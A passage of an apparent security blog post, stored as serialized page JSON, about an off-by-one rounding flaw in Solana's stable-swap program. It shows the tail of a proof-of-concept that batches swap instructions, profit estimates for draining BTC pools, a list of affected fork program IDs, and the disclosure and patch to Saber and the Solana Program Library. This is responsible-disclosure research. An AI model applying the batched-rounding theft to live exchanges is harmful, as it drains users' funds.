instructions",{"type":22,"tag":118,"props":5789,"children":5790},{"style":210},[5791],{"type":28,"value":837},{"type":22,"tag":118,"props":5793,"children":5794},{"style":532},[5795],{"type":28,"value":5741},{"type":22,"tag":118,"props":5797,"children":5798},{"style":125},[5799],{"type":28,"value":5800},"[];\n",{"type":22,"tag":118,"props":5802,"children":5803},{"class":120,"line":615},[5804],{"type":22,"tag":118,"props":5805,"children":5806},{"emptyLinePlaceholder":15},[5807],{"type":28,"value":250},{"type":22,"tag":118,"props":5809,"children":5810},{"class":120,"line":685},[5811,5816,5820,5825,5829,5834],{"type":22,"tag":118,"props":5812,"children":5813},{"style":204},[5814],{"type":28,"value":5815},"    instructions",{"type":22,"tag":118,"props":5817,"children":5818},{"style":210},[5819],{"type":28,"value":292},{"type":22,"tag":118,"props":5821,"children":5822},{"style":532},[5823],{"type":28,"value":5824},"push",{"type":22,"tag":118,"props":5826,"children":5827},{"style":125},[5828],{"type":28,"value":540},{"type":22,"tag":118,"props":5830,"children":5831},{"style":204},[5832],{"type":28,"value":5833},"swap_instruction",{"type":22,"tag":118,"props":5835,"children":5836},{"style":125},[5837],{"type":28,"value":682},{"type":22,"tag":118,"props":5839,"children":5840},{"class":120,"line":699},[5841],{"type":22,"tag":118,"props":5842,"children":5843},{"emptyLinePlaceholder":15},[5844],{"type":28,"value":250},{"type":22,"tag":118,"props":5846,"children":5847},{"class":120,"line":729},[5848,5853,5857,5862,5866,5870,5875,5879,5883,5888,5892,5896,5900],{"type":22,"tag":118,"props":5849,"children":5850},{"style":204},[5851],{"type":28,"value":5852},"    env",{"type":22,"tag":118,"props":5854,"children":5855},{"style":210},[5856],{"type":28,"value":292},{"type":22,"tag":118,"props":5858,"children":5859},{"style":532},[5860],{"type":28,"value":5861},"execute_as_transaction",{"type":22,"tag":118,"props":5863,"children":5864},{"style":125},[5865],{"type":28,"value":540},{"type":22,"tag":118,"props":5867,"children":5868},{"style":210},[5869],{"type":28,"value":1407},{"type":22,"tag":118,"props":5871,"children":5872},{"style":204},[5873],{"type":28,"value":5874},"instructions",{"type":22,"tag":118,"props":5876,"children":5877},{"style":125},[5878],{"type":28,"value":231},{"type":22,"tag":118,"props":5880,"children":5881},{"style":210},[5882],{"type":28,"value":1407},{"type":22,"tag":118,"props":5884,"children":5885},{"style":532},[5886],{"type":28,"value":5887},"vec!",{"type":22,"tag":118,"props":5889,"children":5890},{"style":125},[5891],{"type":28,"value":5746},{"type":22,"tag":118,"props":5893,"children":5894},{"style":210},[5895],{"type":28,"value":1407},{"type":22,"tag":118,"props":5897,"children":5898},{"style":204},[5899],{"type":28,"value":5549},{"type":22,"tag":118,"props":5901,"children":5902},{"style":125},[5903],{"type":28,"value":5764},{"type":22,"tag":118,"props":5905,"children":5906},{"class":120,"line":771},[5907],{"type":22,"tag":118,"props":5908,"children":5909},{"style":125},[5910],{"type":28,"value":481},{"type":22,"tag":31,"props":5912,"children":5913},{},[5914],{"type":28,"value":5915},"It works!",{"type":22,"tag":1269,"props":5917,"children":5918},{},[5919],{"type":22,"tag":31,"props":5920,"children":5921},{},[5922],{"type":28,"value":5923},"holy shit\nyea, this is big",{"type":22,"tag":31,"props":5925,"children":5926},{},[5927],{"type":22,"tag":5928,"props":5929,"children":5931},"img",{"alt":7,"src":5930},"/posts/spl-swap/poc.png",[],{"type":22,"tag":23,"props":5933,"children":5935},{"id":5934},"exploitability",[5936],{"type":28,"value":5937},"Exploitability",{"type":22,"tag":31,"props":5939,"children":5940},{},[5941],{"type":28,"value":5942},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":22,"tag":31,"props":5944,"children":5945},{},[5946],{"type":28,"value":5947},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":22,"tag":31,"props":5949,"children":5950},{},[5951],{"type":28,"value":5952},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":22,"tag":31,"props":5954,"children":5955},{},[5956],{"type":22,"tag":5928,"props":5957,"children":5959},{"alt":7,"src":5958},"/posts/spl-swap/pr.png",[],{"type":22,"tag":31,"props":5961,"children":5962},{},[5963,5965,5970],{"type":28,"value":5964},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":22,"tag":4764,"props":5966,"children":5967},{},[5968],{"type":28,"value":5969},"per instruction",{"type":28,"value":5971},". Transactions on Solana can also contain multiple instructions.",{"type":22,"tag":31,"props":5973,"children":5974},{},[5975],{"type":28,"value":5976},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":22,"tag":31,"props":5978,"children":5979},{},[5980,5982,5987],{"type":28,"value":5981},"Some quick napkin math confirms that this ",{"type":22,"tag":4764,"props":5983,"children":5984},{},[5985],{"type":28,"value":5986},"is",{"type":28,"value":5988}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":22,"tag":31,"props":5990,"children":5991},{},[5992],{"type":22,"tag":114,"props":5993,"children":5997},{"className":5994},[5995,5996],"language-math","math-inline",[5998],{"type":22,"tag":118,"props":5999,"children":6002},{"className":6000},[6001],"katex",[6003],{"type":22,"tag":118,"props":6004,"children":6008},{"className":6005,"ariaHidden":6007},[6006],"katex-html","true",[6009,6118,6174,6214],{"type":22,"tag":118,"props":6010,"children":6013},{"className":6011},[6012],"base",[6014,6020,6027,6091,6101,6107,6114],{"type":22,"tag":118,"props":6015,"children":6019},{"className":6016,"style":6018},[6017],"strut","height:0.8141em;",[],{"type":22,"tag":118,"props":6021,"children":6024},{"className":6022},[6023],"mord",[6025],{"type":28,"value":6026},"1",{"type":22,"tag":118,"props":6028,"children":6030},{"className":6029},[6023],[6031,6037],{"type":22,"tag":118,"props":6032,"children":6034},{"className":6033},[6023],[6035],{"type":28,"value":6036},"0",{"type":22,"tag":118,"props":6038,"children":6041},{"className":6039},[6040],"msupsub",[6042],{"type":22,"tag":118,"props":6043,"children":6046},{"className":6044},[6045],"vlist-t",[6047],{"type":22,"tag":118,"props":6048,"children":6051},{"className":6049},[6050],"vlist-r",[6052],{"type":22,"tag":118,"props":6053,"children":6056},{"className":6054,"style":6018},[6055],"vlist",[6057],{"type":22,"tag":118,"props":6058,"children":6060},{"style":6059},"top:-3.063em;margin-right:0.05em;",[6061,6067],{"type":22,"tag":118,"props":6062,"children":6066},{"className":6063,"style":6065},[6064],"pstrut","height:2.7em;",[],{"type":22,"tag":118,"props":6068,"children":6074},{"className":6069},[6070,6071,6072,6073],"sizing","reset-size6","size3","mtight",[6075],{"type":22,"tag":118,"props":6076,"children":6078},{"className":6077},[6023,6073],[6079,6085],{"type":22,"tag":118,"props":6080,"children":6082},{"className":6081},[6023,6073],[6083],{"type":28,"value":6084},"−",{"type":22,"tag":118,"props":6086,"children":6088},{"className":6087},[6023,6073],[6089],{"type":28,"value":6090},"8",{"type":22,"tag":118,"props":6092,"children":6094},{"className":6093},[6023,28],[6095],{"type":22,"tag":118,"props":6096,"children":6098},{"className":6097},[6023],[6099],{"type":28,"value":6100}," BTC",{"type":22,"tag":118,"props":6102,"children":6106},{"className":6103,"style":6105},[6104],"mspace","margin-right:0.2222em;",[],{"type":22,"tag":118,"props":6108,"children":6111},{"className":6109},[6110],"mbin",[6112],{"type":28,"value":6113},"∗",{"type":22,"tag":118,"props":6115,"children":6117},{"className":6116,"style":6105},[6104],[],{"type":22,"tag":118,"props":6119,"children":6121},{"className":6120},[6012],[6122,6127,6133,6140,6145,6151,6161,6165,6170],{"type":22,"tag":118,"props":6123,"children":6126},{"className":6124,"style":6125},[6017],"height:1em;vertical-align:-0.25em;",[],{"type":22,"tag":118,"props":6128,"children":6130},{"className":6129},[6023],[6131],{"type":28,"value":6132},"$41",{"type":22,"tag":118,"props":6134,"children":6137},{"className":6135},[6136],"mpunct",[6138],{"type":28,"value":6139},",",{"type":22,"tag":118,"props":6141,"children":6144},{"className":6142,"style":6143},[6104],"margin-right:0.1667em;",[],{"type":22,"tag":118,"props":6146,"children":6148},{"className":6147},[6023],[6149],{"type":28,"value":6150},"400/",{"type":22,"tag":118,"props":6152,"children":6154},{"className":6153},[6023,28],[6155],{"type":22,"tag":118,"props":6156,"children":6158},{"className":6157},[6023],[6159],{"type":28,"value":6160},"BTC",{"type":22,"tag":118,"props":6162,"children":6164},{"className":6163,"style":6105},[6104],[],{"type":22,"tag":118,"props":6166,"children":6168},{"className":6167},[6110],[6169],{"type":28,"value":6113},{"type":22,"tag":118,"props":6171,"children":6173},{"className":6172,"style":6105},[6104],[],{"type":22,"tag":118,"props":6175,"children":6177},{"className":6176},[6012],[6178,6183,6189,6199,6204,6210],{"type":22,"tag":118,"props":6179,"children":6182},{"className":6180,"style":6181},[6017],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":6184,"children":6186},{"className":6185},[6023],[6187],{"type":28,"value":6188},"150",{"type":22,"tag":118,"props":6190,"children":6192},{"className":6191},[6023,28],[6193],{"type":22,"tag":118,"props":6194,"children":6196},{"className":6195},[6023],[6197],{"type":28,"value":6198}," swaps",{"type":22,"tag":118,"props":6200,"children":6203},{"className":6201,"style":6202},[6104],"margin-right:0.2778em;",[],{"type":22,"tag":118,"props":6205,"children":6208},{"className":6206},[6207],"mrel",[6209],{"type":28,"value":282},{"type":22,"tag":118,"props":6211,"children":6213},{"className":6212,"style":6202},[6104],[],{"type":22,"tag":118,"props":6215,"children":6217},{"className":6216},[6012],[6218,6223],{"type":22,"tag":118,"props":6219,"children":6222},{"className":6220,"style":6221},[6017],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":22,"tag":118,"props":6224,"children":6226},{"className":6225},[6023],[6227],{"type":28,"value":6228},"$0.0621",{"type":22,"tag":31,"props":6230,"children":6231},{},[6232],{"type":28,"value":6233},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":22,"tag":31,"props":6235,"children":6236},{},[6237],{"type":28,"value":6238},"We're well on our way to becoming a millionaire!",{"type":22,"tag":23,"props":6240,"children":6242},{"id":6241},"patch",[6243],{"type":28,"value":6244},"Patch",{"type":22,"tag":31,"props":6246,"children":6247},{},[6248],{"type":28,"value":6249},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":22,"tag":31,"props":6251,"children":6252},{},[6253],{"type":28,"value":6254},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":22,"tag":107,"props":6256,"children":6258},{"code":6257,"language":1852,"meta":7,"className":1850,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n",[6259],{"type":22,"tag":114,"props":6260,"children":6261},{"__ignoreMap":7},[6262],{"type":22,"tag":118,"props":6263,"children":6264},{"class":120,"line":121},[6265,6269,6274,6279,6283,6288,6293],{"type":22,"tag":118,"props":6266,"children":6267},{"style":532},[6268],{"type":28,"value":17},{"type":22,"tag":118,"props":6270,"children":6271},{"style":1866},[6272],{"type":28,"value":6273}," logs",{"type":22,"tag":118,"props":6275,"children":6276},{"style":1866},[6277],{"type":28,"value":6278}," -um",{"type":22,"tag":118,"props":6280,"children":6281},{"style":210},[6282],{"type":28,"value":1513},{"type":22,"tag":118,"props":6284,"children":6285},{"style":532},[6286],{"type":28,"value":6287}," grep",{"type":22,"tag":118,"props":6289,"children":6290},{"style":1866},[6291],{"type":28,"value":6292}," 'Instruction: Swap'",{"type":22,"tag":118,"props":6294,"children":6295},{"style":1866},[6296],{"type":28,"value":6297}," -B1\n",{"type":22,"tag":31,"props":6299,"children":6300},{},[6301],{"type":28,"value":6302},"With some Google dorking, we were able to identify many of these programs.",{"type":22,"tag":107,"props":6304,"children":6306},{"code":6305},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[6307],{"type":22,"tag":114,"props":6308,"children":6309},{"__ignoreMap":7},[6310],{"type":28,"value":6305},{"type":22,"tag":31,"props":6312,"children":6313},{},[6314],{"type":28,"value":6315},"Now it was time to contact these teams.",{"type":22,"tag":31,"props":6317,"children":6318},{},[6319],{"type":28,"value":6320},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":22,"tag":31,"props":6322,"children":6323},{},[6324],{"type":28,"value":6325},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":22,"tag":107,"props":6327,"children":6329},{"code":6328,"language":111,"meta":7,"className":109,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[6330],{"type":22,"tag":114,"props":6331,"children":6332},{"__ignoreMap":7},[6333,6387,6399],{"type":22,"tag":118,"props":6334,"children":6335},{"class":120,"line":121},[6336,6341,6345,6350,6354,6359,6363,6367,6371,6375,6379,6383],{"type":22,"tag":118,"props":6337,"children":6338},{"style":210},[6339],{"type":28,"value":6340},"-",{"type":22,"tag":118,"props":6342,"children":6343},{"style":146},[6344],{"type":28,"value":827},{"type":22,"tag":118,"props":6346,"children":6347},{"style":204},[6348],{"type":28,"value":6349}," dy",{"type":22,"tag":118,"props":6351,"children":6352},{"style":210},[6353],{"type":28,"value":837},{"type":22,"tag":118,"props":6355,"children":6356},{"style":204},[6357],{"type":28,"value":6358}," swap_destination_amount",{"type":22,"tag":118,"props":6360,"children":6361},{"style":210},[6362],{"type":28,"value":292},{"type":22,"tag":118,"props":6364,"children":6365},{"style":532},[6366],{"type":28,"value":5256},{"type":22,"tag":118,"props":6368,"children":6369},{"style":125},[6370],{"type":28,"value":540},{"type":22,"tag":118,"props":6372,"children":6373},{"style":204},[6374],{"type":28,"value":5138},{"type":22,"tag":118,"props":6376,"children":6377},{"style":125},[6378],{"type":28,"value":3627},{"type":22,"tag":118,"props":6380,"children":6381},{"style":210},[6382],{"type":28,"value":796},{"type":22,"tag":118,"props":6384,"children":6385},{"style":125},[6386],{"type":28,"value":801},{"type":22,"tag":118,"props":6388,"children":6389},{"class":120,"line":142},[6390,6394],{"type":22,"tag":118,"props":6391,"children":6392},{"style":210},[6393],{"type":28,"value":3220},{"type":22,"tag":118,"props":6395,"children":6396},{"style":257},[6397],{"type":28,"value":6398},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":22,"tag":118,"props":6400,"children":6401},{"class":120,"line":177},[6402,6406,6410,6414,6418,6422,6426,6430,6434,6438,6442,6446,6450,6454,6458,6462,6466],{"type":22,"tag":118,"props":6403,"children":6404},{"style":210},[6405],{"type":28,"value":3220},{"type":22,"tag":118,"props":6407,"children":6408},{"style":146},[6409],{"type":28,"value":827},{"type":22,"tag":118,"props":6411,"children":6412},{"style":204},[6413],{"type":28,"value":6349},{"type":22,"tag":118,"props":6415,"children":6416},{"style":210},[6417],{"type":28,"value":837},{"type":22,"tag":118,"props":6419,"children":6420},{"style":204},[6421],{"type":28,"value":6358},{"type":22,"tag":118,"props":6423,"children":6424},{"style":210},[6425],{"type":28,"value":292},{"type":22,"tag":118,"props":6427,"children":6428},{"style":532},[6429],{"type":28,"value":5256},{"type":22,"tag":118,"props":6431,"children":6432},{"style":125},[6433],{"type":28,"value":540},{"type":22,"tag":118,"props":6435,"children":6436},{"style":204},[6437],{"type":28,"value":5138},{"type":22,"tag":118,"props":6439,"children":6440},{"style":125},[6441],{"type":28,"value":3627},{"type":22,"tag":118,"props":6443,"children":6444},{"style":210},[6445],{"type":28,"value":1205},{"type":22,"tag":118,"props":6447,"children":6448},{"style":532},[6449],{"type":28,"value":5256},{"type":22,"tag":118,"props":6451,"children":6452},{"style":125},[6453],{"type":28,"value":540},{"type":22,"tag":118,"props":6455,"children":6456},{"style":674},[6457],{"type":28,"value":6026},{"type":22,"tag":118,"props":6459,"children":6460},{"style":125},[6461],{"type":28,"value":3627},{"type":22,"tag":118,"props":6463,"children":6464},{"style":210},[6465],{"type":28,"value":796},{"type":22,"tag":118,"props":6467,"children":6468},{"style":125},[6469],{"type":28,"value":801},{"type":22,"tag":31,"props":6471,"children":6472},{},[6473,6475,6482],{"type":28,"value":6474},"For reference, here is the ",{"type":22,"tag":42,"props":6476,"children":6479},{"href":6477,"rel":6478},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[46],[6480],{"type":28,"value":6481},"Curve.fi implementation",{"type":28,"value":292},{"type":22,"tag":107,"props":6484,"children":6488},{"code":6485,"language":6486,"meta":7,"className":6487,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[6489],{"type":22,"tag":114,"props":6490,"children":6491},{"__ignoreMap":7},[6492,6554],{"type":22,"tag":118,"props":6493,"children":6494},{"class":120,"line":121},[6495,6500,6504,6509,6513,6518,6522,6527,6531,6536,6541,6545,6549],{"type":22,"tag":118,"props":6496,"children":6497},{"style":125},[6498],{"type":28,"value":6499},"    dy",{"type":22,"tag":118,"props":6501,"children":6502},{"style":210},[6503],{"type":28,"value":213},{"type":22,"tag":118,"props":6505,"children":6506},{"style":131},[6507],{"type":28,"value":6508}," uint256",{"type":22,"tag":118,"props":6510,"children":6511},{"style":210},[6512],{"type":28,"value":837},{"type":22,"tag":118,"props":6514,"children":6515},{"style":125},[6516],{"type":28,"value":6517}," xp[j] ",{"type":22,"tag":118,"props":6519,"children":6520},{"style":210},[6521],{"type":28,"value":6340},{"type":22,"tag":118,"props":6523,"children":6524},{"style":125},[6525],{"type":28,"value":6526}," y ",{"type":22,"tag":118,"props":6528,"children":6529},{"style":210},[6530],{"type":28,"value":6340},{"type":22,"tag":118,"props":6532,"children":6533},{"style":674},[6534],{"type":28,"value":6535}," 1",{"type":22,"tag":118,"props":6537,"children":6538},{"style":125},[6539],{"type":28,"value":6540},"  # ",{"type":22,"tag":118,"props":6542,"children":6543},{"style":210},[6544],{"type":28,"value":6340},{"type":22,"tag":118,"props":6546,"children":6547},{"style":674},[6548],{"type":28,"value":6026},{"type":22,"tag":118,"props":6550,"children":6551},{"style":125},[6552],{"type":28,"value":6553}," just in case there were some rounding errors\n",{"type":22,"tag":118,"props":6555,"children":6556},{"class":120,"line":142},[6557,6562,6566,6570,6574,6579,6583,6588,6592],{"type":22,"tag":118,"props":6558,"children":6559},{"style":125},[6560],{"type":28,"value":6561},"    dy_fee",{"type":22,"tag":118,"props":6563,"children":6564},{"style":210},[6565],{"type":28,"value":213},{"type":22,"tag":118,"props":6567,"children":6568},{"style":131},[6569],{"type":28,"value":6508},{"type":22,"tag":118,"props":6571,"children":6572},{"style":210},[6573],{"type":28,"value":837},{"type":22,"tag":118,"props":6575,"children":6576},{"style":125},[6577],{"type":28,"value":6578}," dy ",{"type":22,"tag":118,"props":6580,"children":6581},{"style":210},[6582],{"type":28,"value":671},{"type":22,"tag":118,"props":6584,"children":6585},{"style":125},[6586],{"type":28,"value":6587}," self.fee ",{"type":22,"tag":118,"props":6589,"children":6590},{"style":210},[6591],{"type":28,"value":888},{"type":22,"tag":118,"props":6593,"children":6594},{"style":125},[6595],{"type":28,"value":6596}," FEE_DENOMINATOR\n",{"type":22,"tag":31,"props":6598,"children":6599},{},[6600,6602,6609],{"type":28,"value":6601},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":22,"tag":42,"props":6603,"children":6606},{"href":6604,"rel":6605},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[46],[6607],{"type":28,"value":6608},"original commit",{"type":28,"value":6610},", not as an additional security patch.",{"type":22,"tag":107,"props":6612,"children":6614},{"code":6613},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[6615],{"type":22,"tag":114,"props":6616,"children":6617},{"__ignoreMap":7},[6618],{"type":28,"value":6613},{"type":22,"tag":31,"props":6620,"children":6621},{},[6622,6624,6631],{"type":28,"value":6623},"The commit adding stable swaps to SPL was ",{"type":22,"tag":42,"props":6625,"children":6628},{"href":6626,"rel":6627},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[46],[6629],{"type":28,"value":6630},"made a few months later",{"type":28,"value":6632},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":22,"tag":107,"props":6634,"children":6636},{"code":6635},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[6637],{"type":22,"tag":114,"props":6638,"children":6639},{"__ignoreMap":7},[6640],{"type":28,"value":6635},{"type":22,"tag":31,"props":6642,"children":6643},{},[6644,6646,6653],{"type":28,"value":6645},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":22,"tag":42,"props":6647,"children":6650},{"href":6648,"rel":6649},"https://github.com/solana-labs/solana-program-library",[46],[6651],{"type":28,"value":6652},"the Solana Program Library",{"type":28,"value":292},{"type":22,"tag":31,"props":6655,"children":6656},{},[6657],{"type":28,"value":6658},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":22,"tag":31,"props":6660,"children":6661},{},[6662,6669],{"type":22,"tag":42,"props":6663,"children":6666},{"href":6664,"rel":6665},"https://github.com/joncinque",[46],[6667],{"type":28,"value":6668},"@joncinque",{"type":28,"value":6670}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":22,"tag":1269,"props":6672,"children":6673},{},[6674],{"type":22,"tag":31,"props":6675,"children":6676},{},[6677],{"type":28,"value":6678},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":22,"tag":31,"props":6680,"children":6681},{},[6682,6684,6691,6693,6699],{"type":28,"value":6683},"After some thought, he helped ",{"type":22,"tag":42,"props":6685,"children":6688},{"href":6686,"rel":6687},"https://github.com/solana-labs/solana-program-library/pull/2942",[46],[6689],{"type":28,"value":6690},"introduce a PR",{"type":28,"value":6692}," which ceilings the computation in ",{"type":22,"tag":114,"props":6694,"children":6696},{"className":6695},[],[6697],{"type":28,"value":6698},"compute_new_destination_amount",{"type":28,"value":6700}," to correctly round within the stable curve math library.",{"type":22,"tag":107,"props":6702,"children":6704},{"code":6703,"language":111,"meta":7,"className":109,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[6705],{"type":22,"tag":114,"props":6706,"children":6707},{"__ignoreMap":7},[6708,6716,6746,6773,6801,6825,6901,7005,7032,7127,7230,7257,7269,7288,7311],{"type":22,"tag":118,"props":6709,"children":6710},{"class":120,"line":121},[6711],{"type":22,"tag":118,"props":6712,"children":6713},{"style":257},[6714],{"type":28,"value":6715},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":22,"tag":118,"props":6717,"children":6718},{"class":120,"line":142},[6719,6724,6728,6733,6737,6742],{"type":22,"tag":118,"props":6720,"children":6721},{"style":146},[6722],{"type":28,"value":6723},"     let",{"type":22,"tag":118,"props":6725,"children":6726},{"style":146},[6727],{"type":28,"value":4157},{"type":22,"tag":118,"props":6729,"children":6730},{"style":204},[6731],{"type":28,"value":6732}," y_prev",{"type":22,"tag":118,"props":6734,"children":6735},{"style":210},[6736],{"type":28,"value":213},{"type":22,"tag":118,"props":6738,"children":6739},{"style":131},[6740],{"type":28,"value":6741}," U256",{"type":22,"tag":118,"props":6743,"children":6744},{"style":125},[6745],{"type":28,"value":801},{"type":22,"tag":118,"props":6747,"children":6748},{"class":120,"line":177},[6749,6753,6757,6761,6765,6769],{"type":22,"tag":118,"props":6750,"children":6751},{"style":146},[6752],{"type":28,"value":6723},{"type":22,"tag":118,"props":6754,"children":6755},{"style":146},[6756],{"type":28,"value":4157},{"type":22,"tag":118,"props":6758,"children":6759},{"style":204},[6760],{"type":28,"value":5038},{"type":22,"tag":118,"props":6762,"children":6763},{"style":210},[6764],{"type":28,"value":837},{"type":22,"tag":118,"props":6766,"children":6767},{"style":204},[6768],{"type":28,"value":5047},{"type":22,"tag":118,"props":6770,"children":6771},{"style":125},[6772],{"type":28,"value":801},{"type":22,"tag":118,"props":6774,"children":6775},{"class":120,"line":195},[6776,6781,6785,6789,6793,6797],{"type":22,"tag":118,"props":6777,"children":6778},{"style":1480},[6779],{"type":28,"value":6780},"     for",{"type":22,"tag":118,"props":6782,"children":6783},{"style":204},[6784],{"type":28,"value":5064},{"type":22,"tag":118,"props":6786,"children":6787},{"style":146},[6788],{"type":28,"value":5069},{"type":22,"tag":118,"props":6790,"children":6791},{"style":674},[6792],{"type":28,"value":5074},{"type":22,"tag":118,"props":6794,"children":6795},{"style":210},[6796],{"type":28,"value":5079},{"type":22,"tag":118,"props":6798,"children":6799},{"style":125},[6800],{"type":28,"value":5084},{"type":22,"tag":118,"props":6802,"children":6803},{"class":120,"line":244},[6804,6808,6813,6817,6821],{"type":22,"tag":118,"props":6805,"children":6806},{"style":210},[6807],{"type":28,"value":6340},{"type":22,"tag":118,"props":6809,"children":6810},{"style":204},[6811],{"type":28,"value":6812},"        y_prev",{"type":22,"tag":118,"props":6814,"children":6815},{"style":210},[6816],{"type":28,"value":837},{"type":22,"tag":118,"props":6818,"children":6819},{"style":204},[6820],{"type":28,"value":5038},{"type":22,"tag":118,"props":6822,"children":6823},{"style":125},[6824],{"type":28,"value":801},{"type":22,"tag":118,"props":6826,"children":6827},{"class":120,"line":253},[6828,6832,6837,6841,6845,6849,6853,6857,6861,6865,6869,6873,6877,6881,6885,6889,6893,6897],{"type":22,"tag":118,"props":6829,"children":6830},{"style":210},[6831],{"type":28,"value":6340},{"type":22,"tag":118,"props":6833,"children":6834},{"style":204},[6835],{"type":28,"value":6836},"        y",{"type":22,"tag":118,"props":6838,"children":6839},{"style":210},[6840],{"type":28,"value":837},{"type":22,"tag":118,"props":6842,"children":6843},{"style":125},[6844],{"type":28,"value":842},{"type":22,"tag":118,"props":6846,"children":6847},{"style":532},[6848],{"type":28,"value":5125},{"type":22,"tag":118,"props":6850,"children":6851},{"style":125},[6852],{"type":28,"value":540},{"type":22,"tag":118,"props":6854,"children":6855},{"style":210},[6856],{"type":28,"value":1407},{"type":22,"tag":118,"props":6858,"children":6859},{"style":204},[6860],{"type":28,"value":5138},{"type":22,"tag":118,"props":6862,"children":6863},{"style":125},[6864],{"type":28,"value":231},{"type":22,"tag":118,"props":6866,"children":6867},{"style":674},[6868],{"type":28,"value":5147},{"type":22,"tag":118,"props":6870,"children":6871},{"style":125},[6872],{"type":28,"value":3627},{"type":22,"tag":118,"props":6874,"children":6875},{"style":210},[6876],{"type":28,"value":1205},{"type":22,"tag":118,"props":6878,"children":6879},{"style":532},[6880],{"type":28,"value":5160},{"type":22,"tag":118,"props":6882,"children":6883},{"style":125},[6884],{"type":28,"value":540},{"type":22,"tag":118,"props":6886,"children":6887},{"style":204},[6888],{"type":28,"value":5169},{"type":22,"tag":118,"props":6890,"children":6891},{"style":125},[6892],{"type":28,"value":3627},{"type":22,"tag":118,"props":6894,"children":6895},{"style":210},[6896],{"type":28,"value":796},{"type":22,"tag":118,"props":6898,"children":6899},{"style":125},[6900],{"type":28,"value":3665},{"type":22,"tag":118,"props":6902,"children":6903},{"class":120,"line":263},[6904,6908,6912,6917,6921,6925,6929,6933,6937,6941,6945,6949,6953,6957,6961,6965,6969,6973,6977